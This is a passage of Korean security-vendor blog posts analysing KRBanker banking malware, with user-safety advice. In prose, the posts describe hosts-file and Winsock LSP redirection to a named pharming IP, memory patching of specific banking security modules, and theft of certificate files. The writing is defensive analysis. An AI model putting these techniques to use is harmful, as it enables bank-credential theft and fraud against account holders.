내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다. 

 
2014년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.
 

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com/


  

저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect
1. 한국맞춤형 전자금융사기 악성파일(KRBanker) DLL 파일로 귀환


잉카인터넷 대응팀은 국내 시중은행의 인터넷 뱅킹 이용자들을 겨냥한 악성파일을 집중 모니터링하던 중 기존과 다르게 작동하는 유형을 발견했다. 이번 악성파일은 워드패드 파일의 아이콘처럼 자신을 위장하고 있으며, 중국어로 제작되어 있다. 최근 며칠 사이에 변종이 계속 증가하고 있는 추세이다. 악성파일이 작동되면 루트 드라이브에 임의의 폴더를 생성하고 내부에 정상적인 "csrss.exe" 파일과 임의의 파일명으로 악성 dll 파일을 생성한다. 특징적인 점은 기존에 윈도우 운영체제에서 사용하던 "rundll32.exe" 파일을 "csrss.exe" 파일명으로 생성한다는 점인데, 이것은 악성파일 자신을 최대한 은닉하기 위한 수법으로 활용했다는 점이다. 또한, "start.lnk" 파일을 생성해서 재부팅 후에도 "csrss.exe" 파일을 실행하고, 악성 dll 파일을 로드할 수 있도록 한 점도 특이하다.

더불어 외부 사이트에 접속해서 plus.php 파일을 받은 후 data.mdb 파일로 생성하는데, 이 파일에는 파밍사이트로 사용할 호스트 정보가 담겨 있고, "hosts.ics" 파일을 만드는데 이용된 후 삭제된다. 또한, 정상적인 "hosts" 파일을 삭제한다. 이로인해 감염된 컴퓨터에서 인터넷 뱅킹 사이트에 접속시 가짜 사이트로 연결되도록 만들어지게 된다.

2. 변신의 귀재? 인터넷 뱅킹용 악성파일

악성파일은 국내 다수의 웹 사이트를 변조하여 Drive By Download 기법을 통해서 전파된다. 악성파일에 노출이 되면 임의의 숫자와 알파벳으로 조합된 특정 폴더를 생성하고 내부에 파일명이 랜덤한 dll 악성파일과 정상적인 "rundll32.exe" 파일에서 이름만 변경한 "csrss.exe" 파일을 생성하고 실행한다.

[주의]소켓통신(WinSock)을 가로채기하는 전자금융사기 수법 추가 등장

[주의]국내 인터넷 뱅킹용 악성파일 포털사이트 접근까지 변조시도

[주의]KRBanker 악성파일 제작자 하데스(Hades)로 귀환?

[추적]FTP서버로 공인인증서를 탈취하는 악성파일 실체

[주의]실제 공인인증서 서비스에서 암호 탈취를 시도하는 악성파일

[주의]OTP 이벤트로 위장한 전자금융사기용 악성파일(KRBanker)

[주의]안랩 프로그램 사칭 인터넷 뱅킹용 악성파일

[주의]금융 보안프로그램으로 둔갑한 악성파일 출현

[주의]국내 스마트 뱅킹 이용자를 노린 피싱용 안드로이드 악성앱 등장

[칼럼]특명! 사이버 은행강도로부터 당신의 금융자산을 보호하라.

[주의]금융자산예방서비스 사칭! 믿는도끼에 발등 찍힌다.

[주의]무료 동영상에 숨겨진 검은 그림자, 당신의 예금을 노린다.

[위험]전자금융사기용 악성파일(KRBanker) 시스템 파괴 기능 탑재

[긴급]KRBanker 새로운 변종 애플 아이콘으로 위장!

[주의]KRBanker 변종 시티은행 피싱 목록 추가!

[긴급]KRBanker 전자금융사기용 허위 예방 서비스로 사용자 유혹

[정보]보안승급 사칭 전자금융사기 기승, 사이버 금융범죄와의 전쟁

[칼럼]국내 인터넷 뱅킹 보안위협 절대 남의 일이 아니다!

[주의]국내 인터넷 뱅킹용 악성파일 BHO 기능 겨냥

[주의]인터넷 뱅킹 보안강화(승급) 서비스는 전자금융사기의 덫

[긴급]국내 인터넷뱅킹 사용자를 노린 악성파일 급속 유포

[주의]국내 인터넷 뱅킹 보안승급서비스 사칭한 스마트폰 문자피싱

[2013년 08월 09일 바이러스 토탈 진단현황] / 변종이 계속 발견되고 있는 상태이다.
https://www.virustotal.com/ko/file/a18370a748ef40b3b066fde1fc3c07c69ad32a08bdcefbb0b10bd42280ef0f18/analysis


"start.lnk" 바로가기 파일은 레지스트리에 자신을 등록해서 재부팅 시 자동으로 실행되도록 조작되어 있다.


그리고 "csrss.exe" 파일은 악성 "Bnhd.dll" 파일을 실행하고, 특정 호스트로 접속하여 plus.php 파일을 다운로드하며, 내부적으로 마치 ZIP 포맷처럼 보이도록 파일헤더를 조작하고 있다.


 이 파일은 동일한 경로에 "data.mdb" 라는 파일명으로 생성되고, "hosts.ics" 파일을 생성하는데 사용한 후 삭제된다. 그리고 정상적인 "hosts" 파일도 삭제한다.


호스트 파일(hosts.ics)은 다음과 같이 변경되고, 정상적으로 존재하는 hosts 파일은 삭제된다.


이렇게 "hosts.ics" 파일이 변경되면 이용자가 정상적인 인터넷 뱅킹 사이트를 접속하더라도 110.34.210.115 IP 주소의 파밍사이트로 연결된다.

파밍 사이트에서는 팝업창을 띄어 마치 전자금융사기 예방시스템 신청이라는 문구로 이용자를 현혹하여 개인정보를 입력하는 사이트로 연결을 유도한다.


[전자금융사기 예방시스템 신청] 부분을 클릭하게 되면 다음과 같이 과도하게 금융정보를 입력하도록 요구하는 화면을 보여주게 되고, 그 이후로도 보안카드 등 정상적인 금융사이트에서는 요구하지 않는 보안정보를 입력하도록 현혹하게 된다. 이용자가 만약 해당 지시사항대로 금융정보를 입력하게 되면 악성파일에 의해서 유출된 정보로 인해서 예기치 못한 예금인출 사고를 입을 수 있게 된다.


3. 피싱(파밍) 사이트 진위여부 판단 노하우 

내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.


2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : 
http://avs.nprotect.com/


저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect
1. 불청객 애드웨어와 KRBanker, 내 안에 너 있다.


잉카인터넷 대응팀은 최근 금융사 보안모듈의 메모리를 변조하는 지능화된 공격방식의 파밍용 악성파일이 변칙적인 광고성 악성 프로그램(애드웨어)을 통해서 은밀하게 전파되는 정황을 포착하였고, 그 실체를 처음으로 공개하고자 한다. 그동안 전자금융사기를 위한 악성파일들은 불특정 다수의 웹 사이트에 각종 보안 취약점 코드를 삽입하고 보안상태가 허술한 이용자들에게 무작위로 감염시키는 이른바 Drive By Download 기법이 주류를 이루고 있어, 웹 관제 감시센서 등을 통해서 조기에 탐지하여 차단하는 효과를 발휘하고 있다. 그러나 이번과 같이 포털사이트의 블로그나 인터넷 카페 등에 마치 정상적인 프로그램처럼 둔갑한 애드웨어 파일의 내부에 별도 악성파일을 몰래 추가한 경우 애드웨어로 단순분류되거나 보안패치가 최신으로 유지된 상태라 할지라도 추가 악성파일에 감염될 수 있게 된다.

잉카인터넷 대응팀이 자체 조사한 결과 이미 다수의 애드웨어 프로그램들이 변조되어 파밍용 악성파일을 전파해주는 또 다른 매개체로 악용되고 있는 사실을 확인했다. 이처럼 전자금융사기용 악성파일들은 유포기법부터 감염방식까지 갈수록 고도화, 지능화되고 있는 추세이다. 더불어 이런 방식은 자신의 컴퓨터가 최신의 보안상태를  유지하고 있더라도 변칙적인 광고프로그램에 현혹되어 노출되는 순간 파급력 및 위험도가 높은 전자금융사기용 악성파일에 동시 감염될 수 있다는 점에서 의미하는 바가 크고 이용자들의 각별한 주의가 요망된다.

2. 파밍용 악성파일을 품은 Adware

한국내 인터넷 뱅킹 이용자들을 겨냥한 맞춤형 악성파일인 KRBanker 종류는 변종이 거의 매일 발견되고 있을 정도로 그 심각성이 높아지고 있고, 우후죽순으로 퍼져나가고 있다. 사이버 범죄자들은 용의주도하게 이미 글로벌 기업형 사기단으로 활동할 정도로 조직이 발전하고 있고, 사이버상의 암전존재로 자리매김하고 있는 상태이다. 특히, 초기 호스트파일(hosts)을 변조하는 고전적인 단순수법에서 벗어나 나날이 고도화되고 있고, 보안모듈을 우회하거나 직접적으로 겨냥하는 등 치밀하고 과감해지는 추세이다.

최근 발견된 사례는 Drive By Download 방식의 웹 보안취약점을 이용하지 않고, 인터넷 이용자들의 활동반경과 심리를 절묘하게 역이용하여, 기존에 뿌려지고 있던 애드웨어에 KRBanker 변종 악성파일을 추가하는 방식을 도입했다. 따라서 이용자가 운영체제와 주요 응용프로그램의 최신 보안업데이트를 설치한 경우라도 애드웨어에 노출되는 순간 악성파일에 무장해제 되는 잠재적 보안위협에 노출될 수 있다. 

애드웨어들에 대한 정보는 아래 내용에서 자세히 확인해 볼 수 있다.

[안내]유해 가능한 변칙 광고프로그램 감염 예방하기 십계명
☞ http://erteam.nprotect.com/350

[칼럼]불순한 변칙 광고프로그램 유해성 판단여부 하나도 애매하지 않다.
☞ http://erteam.nprotect.com/346

[칼럼]국산 유해가능 제휴프로그램 난립실태와 근절대책의 핵심
☞ 
http://erteam.nprotect.com/319


기존에도 애드웨어 종류의 악성파일을 변조하거나, 해당 사이트를 해킹하여 온라인 게임 계정 탈취용 악성파일이 배포된 경우는 여러 번 보고된 바 있다. 이러한 사이버 범죄자들이 온라인 게임 계정 뿐만 금융정보 탈취도 적극적으로 시도하고 있어 앞으로 다양한 방식의 공격이 발생할 것으로 우려된다.


변조된 애드웨어 (다운로더)프로그램이 실행된 후 약 10~20초 정도가 지나면 "kakutk.dll" 이름의 추가 악성파일이 설치된다.

2013년 05월 경까지 발견되었던 "kakutk.dll" 악성파일은 국내 유명 온라인 게임 계정 탈취용 기능만 보유하고 있었으나, 2013년 07월 경부터는 온라인 게임 계정 탈취 기능에 파밍 기능까지 추가된 상태로 발전된 상태이다.


해당 악성파일은 온라인 게임 계정탈취 기능도 함께 보유하고 있으며, 악성 드라이버 파일을 생성해서 유명 보안솔루션들이 정상적으로 작동하지 못하도록 방해기능을 시도하기도 한다. 


"kakutk.dll" 악성파일과 관련된 내용은 아래를 참고하면 좋겠다.

[주의]소켓통신(WinSock)을 가로채기하는 전자금융사기 수법 추가 등장
☞ http://erteam.nprotect.com/434


이렇듯 애드웨어를 변조하여 전자금융사기용 악성파일을 전파하는 기법도 발견되었기 때문에 인터넷 이용자들은 블로그나 인터넷 카페에서 다운로드한 프로그램을 실행할 경우 각별한 주의가 필요하다.

3. 피싱(파밍) 사이트 진위여부 판단 노하우 

내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.

 

2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : 
http://avs.nprotect.com/

 

저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect

1. 호스트파일(hosts) 변조기법이 아닌 지능화된 금융보안 위협 가속화


잉카인터넷 대응팀은 2013년 07월 14일에 제작되어 국내에 다수 유포된 신종 금융정보 탈취용 악성파일을 발견했다. 이 악성파일은 기존에 널리 보고된 바 있는 호스트파일(hosts) 조작 방식을 적용하지 않고, 기존과 다르게 Winsock(LSP) 조작 방식을 도입했다. LSP(Layered Service Provider)를 이용한 악성파일은 이미 2007년도에 온라인 게임계정 악성파일이 사용했던 고전적인 수법 중에 하나이다. 이처럼 호스트 파일 변조기법이 아닌 다양한 형태의 감염사례가 속속 등장하고 있어, 인터넷 뱅킹 이용자들의 각별한 주의가 필요하다. 잉카인터넷 대응팀은 해당 악성파일에 감염되는 것을 사전에 차단시키고, 피해를 최소화하기 위해서 숙주(Dropper) 악성파일에 대한 탐지 및 치료기능을 nProtect 제품군에 추가 완료한 상태이다. 

특히, 국내 인터넷 뱅킹 금융사별로 특화화된 악성파일이 정교하게 제작되고 있고, 해킹한 계좌에 예금이 적을 경우 이용자 예금을 실시간으로 자동조회하여 입금이 이루어질 경우 바로 불법이체를 시도할려는 지능화된 공격징후도 있어 갈수록 전자 금융보안 위협이 진화를 거듭하고 있는 상태이다. 

[주의]국내 인터넷 뱅킹용 악성파일 포털사이트 접근까지 변조시도
http://erteam.nprotect.com/421

[주의]KRBanker 악성파일 제작자 하데스(Hades)로 귀환?
http://erteam.nprotect.com/390

[추적]FTP서버로 공인인증서를 탈취하는 악성파일 실체
http://erteam.nprotect.com/385

[주의]실제 공인인증서 서비스에서 암호 탈취를 시도하는 악성파일
http://erteam.nprotect.com/383

[주의]OTP 이벤트로 위장한 전자금융사기용 악성파일(KRBanker)
http://erteam.nprotect.com/381

[주의]안랩 프로그램 사칭 인터넷 뱅킹용 악성파일
http://erteam.nprotect.com/380

[주의]금융 보안프로그램으로 둔갑한 악성파일 출현
http://erteam.nprotect.com/379

[주의]국내 스마트 뱅킹 이용자를 노린 피싱용 안드로이드 악성앱 등장
http://erteam.nprotect.com/378

[칼럼]특명! 사이버 은행강도로부터 당신의 금융자산을 보호하라.
http://erteam.nprotect.com/374

[주의]금융자산예방서비스 사칭! 믿는도끼에 발등 찍힌다.
http://erteam.nprotect.com/373

[주의]무료 동영상에 숨겨진 검은 그림자, 당신의 예금을 노린다.
http://erteam.nprotect.com/371

[위험]전자금융사기용 악성파일(KRBanker) 시스템 파괴 기능 탑재
http://erteam.nprotect.com/370

[긴급]KRBanker 새로운 변종 애플 아이콘으로 위장!
http://erteam.nprotect.com/366

[주의]KRBanker 변종 시티은행 피싱 목록 추가!
http://erteam.nprotect.com/365

[긴급]KRBanker 전자금융사기용 허위 예방 서비스로 사용자 유혹
http://erteam.nprotect.com/347

[정보]보안승급 사칭 전자금융사기 기승, 사이버 금융범죄와의 전쟁
http://erteam.nprotect.com/344

[칼럼]국내 인터넷 뱅킹 보안위협 절대 남의 일이 아니다!
http://erteam.nprotect.com/341

[주의]국내 인터넷 뱅킹용 악성파일 BHO 기능 겨냥
http://erteam.nprotect.com/340

[주의]인터넷 뱅킹 보안강화(승급) 서비스는 전자금융사기의 덫
http://erteam.nprotect.com/339

[긴급]국내 인터넷뱅킹 사용자를 노린 악성파일 급속 유포
http://erteam.nprotect.com/293

[주의]국내 인터넷 뱅킹 보안승급서비스 사칭한 스마트폰 문자피싱
http://erteam.nprotect.com/258


근래에 이슈화 되고 있는 메모리 변조기법의 금융정보 탈취용 악성파일은 "msimsg.dll.mui", "kakutk.dll" 등의 이름으로 감염되고 있고, Winsock 변조기법을 이용하는 금융정보 탈취용 악성파일은 "ole2dlg.dll" 이름으로 감염되고 있다.

먼저 muimsg.dll.mui 이름의 악성파일은 금융보안 솔루션 중에 하나인 Wizvera 설치폴더(C:\Program Files\Wizvera\Delfino)에 존재하는 npdelfinoplugin.dll 파일의 존재여부를 주기적으로 체크하고, 해당 dll 파일이 메모리에 맵핑되면 강제로 메모리 값을 수정하여 키보드 입력값을 외부로 유출하는 기능을 수행한다. 더불어 금융보안 솔루션 중에 하나인 XecureWeb 설치폴더(C:\Program Files\Softforum\XecureWeb\NPPlugin\dll)에 존재하는 XecureAcPKCS8.dll 파일이 메모리 상에 맵핑되면 XecureMacuxCSM.dll 파일을 메모리에서 찾아 코드를 수정(Patch)한다. 코드수정을 통해서 npdelfinoplugin.dll 파일의 특정코드가 실행불가 상태로 변경되면 악성파일은 키보드 입력 값을 가로채어 외부로 유출시도한다.


kakutk.dll 이름의 악성파일의 경우에는 이용자가 인터넷 뱅킹 사이트에 접속하고 있는지 수시로 비교하고, 만약 악성파일이 원하는 인터넷 뱅킹 사이트로 연결되면 감염된 컴퓨터 내부에 공인인증서가 저장되어 있는지 해당 폴더(C:\Program Files\NPKI)를 확인한다. 공인인증서 폴더 경로에 SignCert.der 파일과 SignPri.key 파일이 존재하는지 비교한다. 그리고 국내 금융보안 솔루션 중에 공인인증서 보안모듈 중에 하나인 INITECH 설치폴더(C:\Program Files\Initech\SHTTP\plugin)에 존재하는 PKI_UI.11108.dll 파일의 메모리 값을 수정하여 보안기능 동작 전에 악성파일이 동작하도록 만든다.

아울러 금융보안 솔루션인 키보드보안 프로그램 중에 하나인 SoftCamp 설치폴더(C:\WINDOWS\system32)에서 SCSK4.ocx 파일의 메모리 값을 수정하여 보안기능이 동작하기 전에 악성파일이 동작하도록 한다. 그리고 키보드보안 프로그램 중에 하나인 RAONSECURE 설치폴더(C:\WINDOWS\system32)에 존재하는 TouchEnKey.dll 파일의 메모리 값을 수정하여 보안기능이 동작하기 전에 악성파일이 동작하도록 만들기도 한다. (※ 유사 악성파일이 지속적으로 발견되고 있어, 변종에 따라 기능이 조금씩 상이할 수 있다.)

이렇듯 최근의 공격기법이 금융 보안모듈을 직접적으로 겨냥하여, 보안기능 무력화를 시도하는 등 매우 과감해지고, 기술적으로도 지능화, 정교화되고 있는 추세이다. 악성파일에 의해서 코드가 조작되면 금융정보 수집 목적의 허위 보안정보 입력화면을 보여주어 사용자로 하여금 금융정보를 입력하도록 현혹시킨다.

2. Winsock 기능을 변조하는 KRBanker 출현

이번에 발견된 KRBanker 변종 악성파일은 호스트파일(hosts)을 변조하지 않고, Winsock 기능을 변조하여 가짜 금융사이트로 연결되도록 만들어진 것이 특징이다. 악성파일은 2013년 07월 14일에 제작되었고, 다음과 같이 금융정보를 입력하도록 유도하는 가짜 사이트로 접속되도록 한다. 더불어 기존과 유사하게 포털사이트 접속시 가짜 포털사이트 이미지 배경화면으로 조작된 공지화면을 보여주어 인터넷 뱅킹 사이트로 접속을 유도하기도 한다.


악성파일에 감염되면 윈도우 시스템폴더 경로에 ole2dlg.dll 이름의 악성 DLL 파일이 생성되고, 마치 윈도우 운영체제 파일처럼 속성을 위장한다. 이 때문에 분석가들은 상황에 따라 정상파일로 판단착오를 일으킬 수도 있고, 일부 분석프로그램의 경우 마이크로 소프트사의 정상파일로 분류되어 필터링될 수도 있다.

악성파일은 WinSock2 파라미터 값을 조작하여 인터넷 익스플로러가 작동할 때 ole2dlg.dll 악성파일이 로딩되도록 만든다.


참고로 악성파일에 의해서 조작된 LSP 를 수정할 수 있는 프로그램은 다음에서 확인할 수 있다.

http://www.cexx.org/lspfix.htm

LSPFix.exe

LSP_Restore.EXE



LSP 는 WSPStartup 이라는 Export 함수 하나로 이루어져 있는 윈도우의 표준 DLL을 설치하면 바로 사용이 가능하다. ole2dlg.dll 악성파일의 Export  함수에 WSPStartup 이 존재하는 것을 알 수 있다.




악성파일은 코드 내부적으로 금융사이트 정보를 하드코딩하여 가지고 있으며, 국내 금융사 도메인으로 접속을 시도할 경우 미국의 특정 서버로 접속하여 가짜 금융사이트 화면을 보여주게 된다.



악성파일에 감염된 상태에서 인터넷 뱅킹 사이트로 접속을 하게 되면 금융사기 관련 조작된 공지화면을 출력하여 이용자로 하여금 금융정보를 입력하도록 유도하게 된다.



3. 피싱(파밍) 사이트 진위여부 판단 노하우 

내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.


2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : 
http://avs.nprotect.com/


저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect
1. 금융감독원 팝업으로 사칭한 금융사기 주의


국내 다수의 웹 사이트가 변조되어 각종 보안취약점 공격기법과 결합한 악성파일 유포 수법이 꾸준히 이어지고 있다. 이른바 드라이브 바이 다운로드(DBD:Drive By Download)라고 일컬어진다. Exploit Code 등의 악성파일이 숨겨진 웹 사이트에 보안취약점이 존재하는 상태로 접근시 이용자가 느끼지 못하는 사이에 악성파일에 자동노출되고 감염되는 과정을 의미한다. 이 방식은 지난 2005년경부터 지금까지 국내 주요 웹 사이트를 대상으로 무차별적으로 이뤄지고 있으며, 2012년까지는 국내 온라인 게임계정 탈취용 악성파일이 대다수였으나, 최근에는 국내 인터넷 뱅킹용 악성파일이 급격히 증가하고 있는 추세이다. 특히, 악성파일이 다단계 과정을 통해서 실시간 변형이 되는 등 악성파일 전파 네트워크가 매우 심각한 수준까지 도달한 상태이며, 자동화된 공격방식을 통해 보안환경을 우회하는 시도를 끊임없이 수행하고 있다.

이러한 악성파일에 감염될 수 있는 성립조건을 최소화하기 위해서는 이미 널리 알려져 있는 보안취약점을 모두 제거하는 것이 필수이다. 우선 MS Windows 운영체제와 응용프로그램 등을 최신 서비스팩 설치와 함께 보안업데이트를 수행하며,Adobe사의 Flash Player, Reader(PDF) 등을 최신버전으로 업데이트한다. 그 다음으로 □ JAVA 프로그램 이용자의 경우 최신버전으로 업데이트한다. 해당 프로그램들은 수시로 최신버전이 제공 중에 있으므로, 자동 업데이트로 설정하여 사용하거나 최소 2주~4주에 한번 정도는 정기적으로 최신 업데이트 여부를 체크하고 설치하는 노력이 중요하다.

2. 시간과의 싸움! 조급한 인터넷 뱅킹용 악성파일?

국내 웹 사이트를 통해서 전파 중인 악성파일 중에 인터넷 뱅킹 이용자들을 노린 형태가 수시로 발견될 정도로 공격자들이 유포에 집중하고 있다. 사이버 범죄자들은 인터넷 뱅킹용 악성파일(KRBanker)과 피싱/파밍 사이트를 통해서 예금자의 중요 금융정보를 훔쳐내고, 불법적인 과정을 거쳐 악성파일에 감염된 이용자들의 예금인출 범행 시도로 이어지고 있는 상황이다.

[주의]KRBanker 악성파일 제작자 하데스(Hades)로 귀환?
